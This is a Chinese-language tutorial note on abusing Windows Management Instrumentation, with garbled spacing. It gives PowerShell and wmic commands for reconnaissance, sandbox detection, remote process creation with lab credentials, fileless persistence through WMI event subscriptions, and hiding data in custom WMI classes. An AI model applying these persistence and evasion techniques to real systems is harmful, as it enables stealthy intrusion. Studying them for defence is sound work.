搜索

[27058] 2020-08-10_WMI——重写版

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-08-10_WMI——重写版 W M I   — — 重 写 版 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 0 - 0 8 - 1 0 本 文 作 者 ： 伍 默 伍 默 ( 内 网 知 识 星 球 学 员 ) 本 文 是 以 W M I 的 重 写 版 ， 本 来 这 份 笔 记 会 更 长 ， 原 版 的 笔 记 以 B l a c k   H a t   2 0 1 5 的 A b u s i n g   W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n   ( W M I )   t o   B u i l d   a   P e r s i s t e n t ,   A s y n c r o n o u s ,   a n d   F i l e l e s s   B a c k d o o r 为 主 要 学 习 资 料 ， 在 笔 记 写 到 大 概 一 万 字 的 时 候 ， T y p o r a   中 保 存 的 内 容 部 分 丢 失 。 于 是 重 新 整 理 ， 有 了 这 份 ， 我 认 为 精 简 版 的 W M I 笔 记 。 W M I   背 景 背 景 W M I   是 什 么 ？ W i n d o w s 管 理 规 范 （ W M I ） 是 M i c r o s o f t 对 基 于 W e b 的 业 务 管 理 标 准 （ W B E M ） ， 公 共 信 息 模 型 （ C I M ） 和 分 布 式 管 理 任 务 组 （ D M T F ） 的 实 现 。 换 句 话 说 ： M i c r o s o f t   +   C I M   +   W B E M   + D M T F   =   W M I 打 开 M S D N   中 关 于 W M I 的 描 述 是 这 样 ： W i n d o w s   M a n a g e m e n t   I n s t r u m e n t a t i o n   ( W M I )   i s   t h e   i n f r a s t r u c t u r e   f o r   m a n a g e m e n t   d a t a   a n d   o p e r a t i o n s   o n   W i n d o w s - b a s e d   o p e r a t i n g   s y s t e m s 。 W i n d o w s 管 理 工 具 （ W M I ） 是 基 于 W i n d o w s 操 作 系 统 的 管 理 数 据 和 操 作 的 基 础 设 施 。 快 速 的 过 一 下 这 部 分 内 容 的 重 点 ： W M I 实 际 上 的 历 史 非 常 久 远 ， 最 早 在 W i n d o w s   2 0 0 0 中 内 置 ， 后 面 所 有 的 W i n d o w s   系 统 中 都 内 置 了 该 项 服 务 。 W M I 使 用 公 共 信 息 模 型   ( C I M )   表 示 托 管 组 件 ， 其 中 包 括 系 统 、 应 用 程 序 、 网 络 等 等 C I M 中 使 用   “ C l a s s " ( 类 ) 表 示 管 理 对 象 ， 类 的 实 例 是 “ O b j e c t ” ， 名 称 空 间 （ N a m e s p a c e ） 是 一 个 类 的 集 合 。 类 包 含 属 性 （ P r o p e r t y ） 和 方 法 （ M e t h o d ) 。 W M I 支 持 S c h e m a 的 概 念 。 S c h e m a   是 描 述 特 定 管 理 环 境 的 一 组 类 。 M i c r o s o f t   W i n d o w s   S D K   中 使 用 了 两 个   S c h e m a   :   C I M   S c h e m a   和   W i n   3 2   S c h e m a   。 C I M   S c h e m a   C l a s s   使 用   " C I M _ "   开 头 ， W i n 3 2   S c h e m a   C l a s s 使 用   " W i n 3 2 _ "   开 头 。 和 和 W M I 交 互 交 互 在 开 始 W M I 之 前 ， 我 建 议   W m i E x p l o r e r   查 看   自 己 机 器 上 的 N a m e s p a c e s 、 C l a s s 、 P r o p e r t y 、 M e t h o d 等 等 ， 对 我 说 的 概 念 有 一 个 简 单 的 了 解 ， 复 杂 你 可 能 会 看 着 很 懵 。 为 了 验 证 上 面 我 描 述 的 一 些 内 容 ， 我 建 议 W m i E x p l o r e r 进 行 查 看 ： 可 以 注 意 到 前 面 描 述 中 的 N a m e s p a c e 、 C l a s s 、 P r o p e r t i e s 、 M e t h o d s … … 。 实 际 上 和 W M I 交 互 有 多 种 方 法 ： P o w e r s h e l l w m i c . e x e w b e m t e s t . e x e w i n r m . e x e   a n d   w i n r m . v b s W M I   E x p l o r e r W M I   E x p l o r e r   2 . 0 . 0 . 2 W M I   E x p l o r e r W M I   T o o l s C I M   E x p l o r e r   2 0 2 0 ( 收 费 ， 但 是 非 常 强 大 ， 对 类 进 行 了 中 文 说 明 ， V B s c r i p t 、 p o w e r s h e l l   代 码 简 洁 ， 推 荐 ) W i n d o w s   S c r i p t   H o s t   L a n g u a g e s （ V B S c r i p t   –   J S c r i p t ） I W b e m *   C O M   A P I . N E T   S y s t e m . M a n a g e m e n t   c l a s s e s L i n u x ： w m i c   a n d   w m i s 另 外 两 个 小 工 具 ： W M I   C o d e   C r e a t o r 这 是 微 软 官 方 出 的 一 款 代 码 生 成 器 ， 可 生 成 C # 、 V B   . n e t   、 V B   S c r i p t 代 码 W M I G e n 可 生 成 各 种 变 成 语 言 ， 调 用 W M I 除 了 ” I W b e m *   C O M   A P I “ 和 ” . N E T   S y s t e m . M a n a g e m e n t   c l a s s e s “ 没 有 试 过 ， 其 余 的 工 具 均 有 测 试 ， 推 荐 使 用 W M I   E x p l o r e r   ， G U I 界 面 非 常 好 用 。 W M I   Q u e r y   L a n g u a g e   ( W Q L ) 参 考 ：
Q u e r y i n g   w i t h   W Q L ( h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / w m i s d k / q u e r y i n g - w i t h - w q l ) W Q L   ( S Q L   f o r   W M I ) ( h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / w m i s d k / w q l - s q l - f o r - w m i ) W M I   查 询 语 言 （ W Q L ） 是 A N S I   S Q L   的 子 集 ， W Q L 支 持 以 下 的 查 询 : D a t a   q u e r i e s E v e n t   q u e r i e s S c h e m a   q u e r i e s 详 细 的 语 法 请 参 考 文 档 ， 这 里 不 做 过 多 介 绍 ， 用 的 最 多 的 是   d a t a   q u e r i e s   ， 请 在 实 际 查 询 中 使 用 ， 需 要 明 确 的 是 W Q L 仅 能 查 询 ， 无 法 使 用   M e t h o d s   进 行 增 删 改 等 操 作 。 R e m o t e   W M I   P r o t o c o l s W M I   可 以 使 用 两 种 协 议 用 于 R e m o t e   W M I : 分 布 式 组 件 对 象 模 型   ( D C O M )   和   W i n d o w s   远 程 管 理   ( W i n R M ) 。 D C O M M i c r o s o f t   在 T C P   1 3 5   端 口 和 一 系 列 的 动 态 端 口 （ 不 同 版 本 不 一 样 ）   运 行 D C E   R P C   e n d - p o i n t   m a p p e r 为 它 的 D C O M 服 务 端 口 可 通 过 注 册 表 项 H K E Y _ L O C A L _ M A C H I N E S o f t w a r e M i c r o s o f t R p c I n t e r n e t 中 的 P o r t s 设 置 可 通 过 D C O M C N F G . e x e   配 置 对 防 火 墙 不 友 好 （ 使 用   T C P   1 3 5 和 一 系 列 动 态 端 口   1 0 2 4   到   6 5 5 3 5 ） 默 认 情 况 下   W m i   S e r v i c e   — — W i n m g m t   在 1 3 5 端 口 下 运 行 和 监 听 W i n R M / P o w e r S h e l l   R e m o t i n g 参 考 ： A b o u t   W i n d o w s   R e m o t e   M a n a g e m e n t ( h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s / w i n 3 2 / w i n r m / a b o u t - w i n d o w s - r e m o t e - m a n a g e m e n t ) 实 验 之 前 ， 请 务 必 阅 读 一 遍 官 方 官 方 文 档 ， 哪 怕 是 草 草 看 过 。 介 绍 W i n d o w s   R e m o t e   M a n a g e m e n t ( W i n r m ) 之 前 , 先 了 解 W S - M a n a g e m e n t   ， W s - M a n   协 议 是 基 于 S O A P 协 议 的 D M T F 开 放 标 准 ， W i n R M 则 是 对 W S - M a n 协 议 的   W i n d o w s   实 现 。 D M T F 是 不 是 感 觉 有 点 耳 熟 ？ 前 面 说 W M I 背 景 中 就 提 到 过 。 默 认 情 况 下 ， 从 W i n d o w s   V i s t a 开 始 成 为 W i n d o w s   的 默 认 组 件 ， 从 W i n d o w s   S e r v e r   2 0 0 8   开 始 ，   W i n R M 服 务 自 动 启 动 默 认 情 况 下 ， 未 配 置 W i n R M 侦 听 器 ， 即 使 W i n R M 服 务 在 运 行 ， 无 法 接 受 和 请 求 W S - M a n   协 议 消 息 W s - M a n   流 量 是 加 密 的 ， 不 论 H T T P   或 H T T P S 默 认 配 置 侦 听 端 口 是 : H T T P ( 5 9 8 5 ) 和 H T T P S ( 5 9 8 6 ) 注 意 ， 这 里 的 默 认 配 置 指 定 是   W i n r m   q u i c k c o n f i g   之 后 。 需 要 明 确 的 是 两 种 协 议 均 支 持 需 要 明 确 的 是 两 种 协 议 均 支 持 N T L M   o r   K e r b e r o s ， 也 就 是 说 ， ， 也 就 是 说 ， P a s s   T h e   H a s h 和 和 P a s s   T h e   T i c k e t 对 对   W m i   和 和 W i n R M 均 适 用 均 适 用 P o w e r s h e l l - D C O M 从 P o w e r s h e l l   v 3   及 后 续 版 本 ， P o w e r s h e l l   中 提 供 了 两 种   C m d l e t s : C I M   C m d l e t s W M I   C m d l e t s 前 面 我 提 到 过 n a m e s p a c e , 如 果 不 显 式 指 定 ， 默 认 n a m e s p a c e   为   r o o t C I M v 2 C I M   c m d l e t s   和 W M I   C m d l e t s   差 异 在 于   C I M   C m d l e t s   使 用 W S M A N （ W i n R M ) 连 接 远 程 计 算 机 ， W M I   C m d l e t s   是 所 有 的 是 D C O M   连 接 远 程 计 算 机 。 如 果 C I M   C m d l e t s   使 用 D C O M   无 法 建 立 会 话 ， 可 以 使 用   - P r o t o c o l   参 数 退 回 到 D C O M S E L E C T   [ C l a s s   p r o p e r t y   n a m e | * ]   F R O M   [ C L A S S   N A M E ]   < W H E R E   [ C O N S T R A I N T ] > S E L E C T   [ C l a s s   p r o p e r t y   n a m e | * ]   F R O M   [ I N T R I N S I C   C L A S S   N A M E ]   W I T H I N   [ P O L L I N G I N T E R V A L ]   < W H E R E   [ C O N S T R A I N T ] > S E L E C T   [ C l a s s   p r o p e r t y   n a m e | * ]   F R O M   [ M e t a _ C l a s s < W H E R E   [ C O N S T R A I N T ] > # W M I   C m d l e t s $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d # 为 了 避 免 凭 据 提 示 弹 框 G e t - W m i O b j e c t   - C o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ C r e d e n t i a l   - C l a s s W i n 3 2 _ P r o c e s s   | S e l e c t - O b j e c t   N a m e , P r o c e s s I d # 这 里 枚 举 了 下 进 程
P o w e r s h e l - W i n R M # 这 里 枚 举 了 下 进 程 # 另 外 支 持 W Q L 查 询 G e t - W m i O b j e c t   - Q u e r y   " s e l e c t   *   f r o m   W i n 3 2 _ P r o c e s s "   | S e l e c t - O b j e c t   N a m e , P r o c e s s I D # 该 命 令 和 上 面 的 效 果 相 同 P o w e r s h e l - W i n R M # C I M   c m d l e t s $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d $ C i m S e s s i o n O p t i o n   =   N e w - C i m S e s s i o n O p t i o n   - P r o t o c o l   D c o m $ C i m S e s s i o n   =   N e w - C i m S e s s i o n   - c o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ C r e d e n t i a l   - S e s s i o n O p t i o n   $ C i m S e s s i o n O p t i o n l s   w s m a n : l o c a l h o s t   # 查 看 本 地 计 算 机 W S m a n 提 供 程 序 的 目 录 层 次 结 构 # 需 管 理 员 权 限 $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ U s e r n a m e , $ P a s s w o r d $ C i m S e s s i o n   =   N e w - C i m S e s s i o n   - c o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ C r e d e n t i a l G e t - C i m I n s t a n c e   - C i m S e s s i o n   $ C i m S e s s i o n   - C l a s s N a m e   W i n 3 2 _ P r o c e s s   | S e l e c t - O b j e c t N a m e , P r o c e s s I d
W M I   E v e n t i n g W M I   事 件 订 阅 是 订 阅 某 些 系 统 事 件 的 方 法 。 W M I   E v e n t i n g   有 两 种 ：   S i n g l e   p r o c e s s   c o n t e x t   ( 本 地 的 单 个 进 程 上 下 文 ） P e r m a n e n t   W M I   E v e n t   S u b s c r i p t i o n s （ 永 久 的 W M I   事 件 订 阅 ) 重 点 放 在 P e r m a n e n t   W M I   E v e n t   S u b s c r i p t i o n s 上 ， 永 久 的 W M I   事 件 订 阅 存 储 在 W M I   r e p o s i t o r y ， 系 统 关 键 / 重 启 之 后 任 然 存 储 着 ， 并 且 ， 永 久 的 W M I 事 件 订 阅 是 以 S y s t e m 权 限 运 行 的 。 提 一 个 ， W M I   r e p o s i t o r y   的 所 在 目 录 为 % S y s t e m R o o t % S y s t e m 3 2 w b e m R e p o s i t o r y O B J E C T S . D A T A W M I   E v e n t i n g   包 含 3 个 组 件 （ 同 时 也 是 3 类 ） ：   E v e n t   F i l t e r E v e n t   F i l t e r   是 一 个 W Q L   查 询 ， 它 描 述 了 感 兴 趣 的 事 件 。 有 两 种 类 型 ：   I n t r i n s i c   E v e n t s （ 内 部 事 件 ) ： 轮 询 事 件 间 隔 内 触 发 的 事 件 E x t r i n s i c   E v e n t s   ( 外 部 事 件 ) ： 实 时 过 滤 器 ， 事 件 发 生 时 立 刻 被 触 发 重 复 一 遍 ， 这 里 不 会 有 大 量 的 细 节 ， 甚 至 略 过 了 非 常 多 的 内 容 ， 如 细 节 指 出 有 误 请 务 必 指 出 。 E v e n t   C o n s u m e r E v e n t   C o n s u m e r   是 触 发 事 件 是 要 执 行 的 操 作 ， 提 供 了 5 个 类 ： A c t i v e S c r i p t E v e n t C o n s u m e r ： 执 行 嵌 入 的 V B S c r i p t / J S C r i p t C o m m a n d L i n e E v e n t C o n s u m e r ： 执 行 指 定 的 二 进 制 或 者 命 令 行 前 面 两 个 类 是 各 类 攻 击 中 主 要 使 用 的 类 L o g F i l e E v e n t C o n s u m e r ： 写 入 指 定 的 日 志 文 件 N T E v e n t L o g E v e n t C o n s u m e r : 将 消 息 记 录 到 应 用 程 序 E v e n t L o g 中 S M T P E v e n t C o n s u m e r ： 每 当 事 件 被 送 达 时 ， 适 用 S M T P 发 送 一 封 邮 件 F i l t e r   t o   C o n s u m e r   B i n d i n g F i l t e r   t o   C o n s u m e r   B i n d i n g   是 将   F i l t e r   绑 定 到   C o n s u m e r   的 注 册 机 制 以 上 3 种 角 色 具 体 到 W M I 中 体 现 为 类 ， 可 查 询 判 断 是 否 添 加 生 成 ： W M I   A t t a c k s 从 攻 击 者 的 角 度 包 括 不 限 于 可 以 做 到 以 下 这 些 ： R e c o n n a i s s a n c e V M / S a n d b o x   D e t e c t i o n C o d e   e x e c u t i o n   a n d   l a t e r a l   m o v e m e n t P e r s i s t e n c e D a t a   s t o r a g e C 2   c o m m u n i c a t i o n R e c o n n a i s s a n c e G e t - W M I O b j e c t   - N a m e s p a c e   r o o t S u b s c r i p t i o n   - C l a s s   _ _ E v e n t F i l t e r G e t - W M I O b j e c t   - N a m e s p a c e   r o o t S u b s c r i p t i o n   - C l a s s   _ _ E v e n t C o n s u m e r G e t - W M I O b j e c t   - N a m e s p a c e   r o o t S u b s c r i p t i o n   - C l a s s   _ _ F i l t e r T o C o n s u m e r B i n d i n g # 注 意 名 称 空 间 参 数 H o s t / O S   i n f o r m a t i o n :   R O O T C I M V 2 : W i n 3 2 _ O p e r a t i n g S y s t e m W i n 3 2 _ C o m p u t e r S y s t e m ,   R O O T C I M V 2 : W i n 3 2 _ B I O S F i l e / d i r e c t o r y   l i s t i n g :   R O O T C I M V 2 : C I M _ D a t a F i l e D i s k   v o l u m e   l i s t i n g :   R O O T C I M V 2 : W i n 3 2 _ V o l u m e R e g i s t r y   o p e r a t i o n s :   R O O T D E F A U L T : S t d R e g P r o v R u n n i n g   p r o c e s s e s :   R O O T C I M V 2 : W i n 3 2 _ P r o c e s s S e r v i c e   l i s t i n g :   R O O T C I M V 2 : W i n 3 2 _ S e r v i c e E v e n t   l o g :   R O O T C I M V 2 : W i n 3 2 _ N t L o g E v e n t
这 里 提 一 下 w m i c ， 可 能 大 家 经 常 使 用 w m i c   q f e   g e t   C a p t i o n , D e s c r i p t i o n , H o t F i x I D , I n s t a l l e d O n 进 行 补 丁 的 查 询 ， P o w e r s h e l l   c m d l e t s   着 是 这 样 的 ： M S D N 有 提 到 “ w m i c   中 的   a l i a s   是 对   c l a s s   、 p r o p e r t y 、 m e t h o d   的 友 好 重 命 名 ” ， 你 可 以 用   w m i c   a l i a s   q f e   l i s t   b r i e f   验 证 这 一 点 ： W M I   A t t a c k s   –   V M / S a n d b o x   D e t e c t i o n 可 通 过 内 存 与 处 理 器 的 数 量 来 判 断 是 否 为 V M / S a n d b o x   ， 不 排 除 高 配 置 的 V M / S a n d b o x W M I   A t t a c k s   –   V M / S a n d b o x   D e t e c t i o n   ( V M w a r e ) 如 果 V M / S a n d b o x   是 V M w a r e   的 产 品 ， 可 以 从 V m w a r e 的 一 些 特 征 查 询 ： 在 P o w e r s h e l l   中 是 这 样 的 ： 后 面 不 在 啰 嗦 ，   只 要 理 解 这 个 类 的 查 询 逻 辑 ， 就 很 容 易 理 解 命 令 ， G e t - W m i O b j e c t   本 质 上 也 是   使 用 了 W Q L 查 询 ， 并 且   也 支 持   - q u e r y   参 数 直 接 使 用 W Q L 查 询 。 W M I   A t t a c k s   –   C o d e   E x e c u t i o n   a n d   L a t e r a l   M o v e m e n t 这 里 给 出 了 两 种 协 议 的   代 码 执 行 和 横 向 移 动 方 式 ， 基 本 都 类 似 ： 支 持 K e r b e r o s L o g g e d   o n   a c c o u n t s :   R O O T C I M V 2 : W i n 3 2 _ L o g g e d O n U s e r M o u n t e d   s h a r e s :   R O O T C I M V 2 : W i n 3 2 _ S h a r e I n s t a l l e d   p a t c h e s :   R O O T C I M V 2 : W i n 3 2 _ Q u i c k F i x E n g i n e e r i n g I n s t a l l e d   A V :   R O O T S e c u r i t y C e n t e r [ 2 ] : A n t i V i r u s P r o d u c t # 查 询 对 应 的 类 即 可 , 灵 活 运 用 S e l e c t - O b j e c t   F o r m a t - L i s t   F o r m a t - T a b l e   c m d l e t s G e t - C i m I n s t a n c e   - C l a s s N a m e   W i n 3 2 _ Q u i c k F i x E n g i n e e r i n g S E L E C T   *   F R O M   W i n 3 2 _ C o m p u t e r S y s t e m   W H E R E   T o t a l P h y s i c a l M e m o r y   <   2 1 4 7 4 8 3 6 4 8 S E L E C T   *   F R O M   W i n 3 2 _ C o m p u t e r S y s t e m   W H E R E   N u m b e r O f L o g i c a l P r o c e s s o r s   <   2 $ V M D e t e c t e d   =   $ F a l s e $ A r g u m e n t s   =   @ { C l a s s   =   ' W i n 3 2 _ C o m p u t e r S y s t e m ' F i l t e r   =   ' N u m b e r O f L o g i c a l P r o c e s s o r s   <   2   A N D   T o t a l P h y s i c a l M e m o r y   <   2 1 4 7 4 8 3 6 4 8 ' } i f   ( G e t - W m i O b j e c t   @ A r g u m e n t s )   {   $ V M D e t e c t e d   =   $ T r u e   } e c h o   $ V M D e t e c t e d   =   $ F a l s e # 查 看 $ V M D e t e c t e d   是 否 为 T r u e S E L E C T   *   F R O M   W i n 3 2 _ N e t w o r k A d a p t e r   W H E R E   M a n u f a c t u r e r   L I K E   " % V M w a r e % " S E L E C T   *   F R O M   W i n 3 2 _ B I O S   W H E R E   S e r i a l N u m b e r   L I K E   " % V M w a r e % " S E L E C T   *   F R O M   W i n 3 2 _ P r o c e s s   W H E R E   N a m e = " v m t o o l s d . e x e " S E L E C T   *   F R O M   W i n 3 2 _ N e t w o r k A d a p t e r   W H E R E   N a m e   L I K E   " % V M w a r e % " # 如 果 任 意 一 条 语 句 查 询 出 结 果 ， 当 前 机 器 大 概 率 是 V m w a r e   的   V M / S a n d b o x $ V M w a r e D e t e c t e d   =   $ F a l s e $ V M A d a p t e r   =   G e t - W m i O b j e c t   W i n 3 2 _ N e t w o r k A d a p t e r   - F i l t e r   ' M a n u f a c t u r e r   L I K E " % V M w a r e % "   O R   N a m e   L I K E   " % V M w a r e % " ' $ V M B i o s   =   G e t - W m i O b j e c t   W i n 3 2 _ B I O S   - F i l t e r   ' S e r i a l N u m b e r   L I K E   " % V M w a r e % " ' $ V M T o o l s R u n n i n g   =   G e t - W m i O b j e c t   W i n 3 2 _ P r o c e s s   - F i l t e r   ' N a m e = " v m t o o l s d . e x e " ' i f   ( $ V M A d a p t e r   - o r   $ V M B i o s   - o r   $ V M T o o l s R u n n i n g )   {   $ V M w a r e D e t e c t e d   =   $ T r u e   } e c h o   $ V M D e t e c t e d   =   $ F a l s e # 注 意 几 个 W Q L 查 询 之 间 的 逻 辑 关 系 为   O R $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l $ C i m S e s s i o n   =   N e w - C i m S e s s i o n   - c o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ C r e d e n t i a l I n v o k e - C i m M e t h o d   - C i m S e s s i o n   $ C i m S e s s i o n   - N a m e   C r e a t e   - C l a s s N a m e   W i n 3 2 _ P r o c e s s   - A r g u m e n t s   @ { C o m m a n d L i n e   =   ' n o t e p a d . e x e ' }
W M I   A t t a c k s   –   P e r s i s t e n c e 这 里 使 用 到 的 就 是 W M I   E v e n t i n g ， 如 果 使 用 W m i E x p l o r e r 可 查 看 到 对 应 命 名 空 间 中 创 建 了 新 的 实 例 。 适 用 P r o c e s s   E x p l o r e r 监 控 发 现 c a l c . e x e 进 程 在 启 动 之 后 ， 自 动 结 束 进 程 ， 目 前 稳 定 性 尚 未 明 确 ， 如 果 使 用 来 上 线 ， 做 好 进 程 迁 移 。 以 上 是 利 用   W M I   进 行   P e r s i s t e n c e   的 核 心 逻 辑 ， 很 容 易 找 到 以 下 写 好 的 P o w e r s h e l l   脚 本 ： h t t p s : / / g i t h u b . c o m / n 0 p e - s l e d / W M I - P e r s i s t e n c e / b l o b / m a s t e r / W M I - P e r s i s t e n c e . p s 1 I n v o k e - C i m M e t h o d   - C i m S e s s i o n   $ C i m S e s s i o n   - N a m e   C r e a t e   - C l a s s N a m e   W i n 3 2 _ P r o c e s s   - A r g u m e n t s   @ { C o m m a n d L i n e   =   ' n o t e p a d . e x e ' } $ U s e r n a m e   = " 0 d a y A d m i n i s t r a t o r " $ P a s s w o r d   =   C o n v e r t T o - S e c u r e S t r i n g   " A d m i n ! @ # 4 5 "   - A s P l a i n T e x t   - F o r c e $ C r e d e n t i a l   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l   I n v o k e W m i M e t h o d   - C l a s s   W i n 3 2 _ P r o c e s s   - N a m e   C r e a t e   - A r g u m e n t L i s t   ' n o t e p a d . e x e '   - C o m p u t e r N a m e   O W A 2 0 1 0 S P 3   - C r e d e n t i a l   $ f i l t e r N a m e   =   ' E v e n t F i l t e r ' $ c o n s u m e r N a m e   =   ' C o n s u m e r N a m e ' $ e x e P a t h   =   ' C : W i n d o w s S y s t e m 3 2 c a l c . e x e ' $ Q u e r y   =   " S E L E C T   *   F R O M   _ _ I n s t a n c e M o d i f i c a t i o n E v e n t   W I T H I N   6 0   W H E R E   T a r g e t I n s t a n c e   I S A   ' W i n 3 2 _ P e r f F o r m a t t e d D a t a _ P e r f O S _ S y s t e m '   A N D   T a r g e t I n s t a n c e . S y s t e m U p T i m e   > =   2 4 0   A N D   T a r g e t I n s t a n c e . S y s t e m U p T i m e   <   3 2 5 " # F l t e r   可 以 尝 试 使 用 其 他 事 件 $ W M I E v e n t F i l t e r   =   S e t - W m i I n s t a n c e   - C l a s s   _ _ E v e n t F i l t e r   - N a m e S p a c e " r o o t s u b s c r i p t i o n "   - A r g u m e n t s   @ { N a m e = $ f i l t e r N a m e ; E v e n t N a m e S p a c e = " r o o t c i m v 2 " ; Q u e r y L a n g u a g e = " W Q L " ; Q u e r y = $ Q u e r y } - E r r o r A c t i o n   S t o p # E v e n t   F i l t e r $ W M I E v e n t C o n s u m e r   =   S e t - W m i I n s t a n c e   - C l a s s   C o m m a n d L i n e E v e n t C o n s u m e r   - N a m e s p a c e " r o o t s u b s c r i p t i o n "   - A r g u m e n t s   @ { N a m e = $ c o n s u m e r N a m e ; E x e c u t a b l e P a t h = $ e x e P a t h ; C o m m a n d L i n e T e m p l a t e = $ e x e P a t h } # E v e n t   C o n s u m e r S e t - W m i I n s t a n c e   - C l a s s   _ _ F i l t e r T o C o n s u m e r B i n d i n g   - N a m e s p a c e   " r o o t s u b s c r i p t i o n "   - A r g u m e n t s   @ { F i l t e r = $ W M I E v e n t F i l t e r ; C o n s u m e r = $ W M I E v e n t C o n s u m e r } # F i l t e r   t o   C o n s u m e r   B i n d i n g # 需 管 理 员 权 限 R e m o v e - C i m I n s t a n c e   - Q u e r y   " S e l e c t   *   f r o m   _ _ E v e n t F i l t e r   w h e r e   N a m e   =   ' E v e n t F i l t e r ' "   - N a m e s p a c e   " r o o t s u b s c r i p t i o n " # 删 除 W M I E v e n t F i l t e r R e m o v e - C i m I n s t a n c e   - Q u e r y   " S E L E C T   *   F R O M   C o m m a n d L i n e E v e n t C o n s u m e r   W H E R E   N a m e = ' c o n s u m e r N a m e ' "   - N a m e s p a c e   " r o o t s u b s c r i p t i o n " # 删 除 W M I E v e n t C o n s u m e r # 删 除 F i l t e r T o C o n s u m e r B i n d i n g 发 现 C I M   c m d l e t s   报 错 ， 暂 不 明 确 原 因 ， 适 用 W M I   c m d l e t s   解 决 G e t - W m i O b j e c t   - C l a s s   _ _ F i l t e r T o C o n s u m e r B i n d i n g   - N a m e s p a c e   " r o o t s u b s c r i p t i o n "   - F i l t e r   " C o n s u m e r = ' C o m m a n d L i n e E v e n t C o n s u m e r . N a m e = ' C o n s u m e r N a m e ' ' "   | R e m o v e W m i O b j e c t   - V e r b o s e
这 里 代 码 太 多 ， 直 接 给 了 图 片 ， 整 个 脚 本 逻 辑 很 清 晰 ， 只 有 3 个 函 数 I n s t a l l - P e r s i s t e n c e 、 、 R e m o v e P e r s i s t e n c e 、 、 C h e c k - W M I ， 功 能 和 函 数 名 相 同 ， 实 际 使 用 时 仅 需 要 修 改   $ P a y l o a d   值 即 可 持 久 化 上 线 。   P o w e r s h e l l 并 不 是 唯 一 的 选 择 ， w m i c   中 也 能 实 现 相 同 的 效 果 ： W M I   A t t a c k s   –   D a t a   S t o r a g e 如 何 查 看 其 中 的 值 ： w m i c   / N A M E S P A C E : " r o o t s u b s c r i p t i o n "   P A T H   _ _ E v e n t F i l t e r   C R E A T E   N a m e = " E v e n t F i l t e r " ,   E v e n t N a m e S p a c e = " r o o t c i m v 2 " , Q u e r y L a n g u a g e = " W Q L " , Q u e r y = " S E L E C T   *   F R O M   _ _ I n s t a n c e M o d i f i c a t i o n E v e n t   W I T H I N   6 0   W H E R E   T a r g e t I n s t a n c e I S A   ' W i n 3 2 _ P e r f F o r m a t t e d D a t a _ P e r f O S _ S y s t e m ' " # W M I   E v e n t F i l t e r # 系 统 启 动   6 0 秒 后 触 发 w m i c   / N A M E S P A C E : " r o o t s u b s c r i p t i o n "   P A T H   C o m m a n d L i n e E v e n t C o n s u m e r   C R E A T E N a m e = " C o n s u m e r N a m e " , E x e c u t a b l e P a t h = " C : W i n d o w s S y s t e m 3 2 c a l c . e x e " , C o m m a n d L i n e T e m p l a t e = " C : W i n d o w s S y s t e m 3 2 c a l c . e x e " # W M I   E v e n t   C o n s u m e r # 我 这 里 我 启 动 的 是 c a l c w m i c   / N A M E S P A C E : " r o o t s u b s c r i p t i o n "   P A T H   _ _ F i l t e r T o C o n s u m e r B i n d i n g   C R E A T E F i l t e r = " _ _ E v e n t F i l t e r . N a m e = " E v e n t F i l t e r " " , C o n s u m e r = " C o m m a n d L i n e E v e n t C o n s u m e r . N a m e = " C o n s u m e r N a m e " " # W M I   E v e n t   F i l t e r T o C o n s u m e r B i n d i n g $ S t a t i c C l a s s   =   N e w - O b j e c t   M a n a g e m e n t . M a n a g e m e n t C l a s s ( ' r o o t c i m v 2 ' ,   $ n u l l , $ n u l l ) $ S t a t i c C l a s s . N a m e   =   ' W i n 3 2 _ E v i l C l a s s ' $ S t a t i c C l a s s . P u t ( ) $ S t a t i c C l a s s . P r o p e r t i e s . A d d ( ' E v i l P r o p e r t y ' , " T h i s   i s   n o t   t h e   m a l w a r e   y o u ' r e l o o k i n g   f o r " ) $ S t a t i c C l a s s . P u t ( ) # 新 建 本 地 类 存 储 # 需 管 理 员 权 限 ( [ W m i C l a s s ]   ' W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] # 具 体 的 获 取 V a l u e 的 值 ( [ W m i C l a s s ]   ' W i n 3 2 _ E v i l C l a s s ' ) . P r o p e r t i e s [ ' E v i l P r o p e r t y ' ] . v a l u e
